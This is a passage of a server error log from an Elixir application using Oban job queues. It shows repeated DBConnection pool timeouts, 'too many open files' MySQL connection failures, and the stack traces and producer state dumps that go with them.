See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:07:30.241285Z], limit: 5, uuid: "04ff78f7-9186-4874-802c-e5a822fda5f6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:07:30.241291Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.4482>, refresh_timer: #Reference<0.2525715032.1099431938.4465>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:07:42.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1083ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:07:30.243872Z], limit: 50, uuid: "e6c6eaf9-fa9c-4663-995a-e6367de77b3c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:07:30.243877Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.4485>, refresh_timer: #Reference<0.2525715032.1077411843.237073>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:07:42.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1094ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:07:30.243088Z], limit: 3, uuid: "e4f4644c-f446-4ec3-817e-d869f9011d11", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:07:30.243094Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.4483>, refresh_timer: #Reference<0.2525715032.1099431938.4466>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:07:42.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 823ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:07:30.243487Z], limit: 5, uuid: "e2c70bf1-0a6a-4cd7-a976-667f5309ec1b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:07:30.243493Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.4481>, refresh_timer: #Reference<0.2525715032.1099431938.4469>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:07:42.362000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:07:44.079000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:07:49.323000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:07:50.210000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:07:50.406000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:07:54.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 891ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:07:42.242297Z], limit: 3, uuid: "cd154437-efa6-4d6f-91e2-5ba375c7f719", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:07:42.242301Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.253649>, refresh_timer: #Reference<0.2525715032.1099431938.4847>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:07:54.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 818ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:07:42.242246Z], limit: 50, uuid: "580cbf87-566a-4977-80eb-2e7b5532f5a1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:07:42.242251Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.253648>, refresh_timer: #Reference<0.2525715032.1099431938.4850>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:07:54.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1089ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:07:42.241971Z], limit: 20, uuid: "8ed28e8b-5aa8-483d-9969-ec75873087f9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:07:42.241977Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.253644>, refresh_timer: #Reference<0.2525715032.1099431938.4834>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:07:54.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 874ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:07:42.242175Z], limit: 10, uuid: "0ec6dec4-fa2e-47f6-8198-12e6984cf5e7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:07:42.242181Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.253645>, refresh_timer: #Reference<0.2525715032.1099431938.4874>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:07:54.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1032ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:07:42.245176Z], limit: 5, uuid: "19884696-bc3a-44ca-a188-eb01a164b45c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:07:42.245181Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.253646>, refresh_timer: #Reference<0.2525715032.1099431938.4873>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:07:54.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 844ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

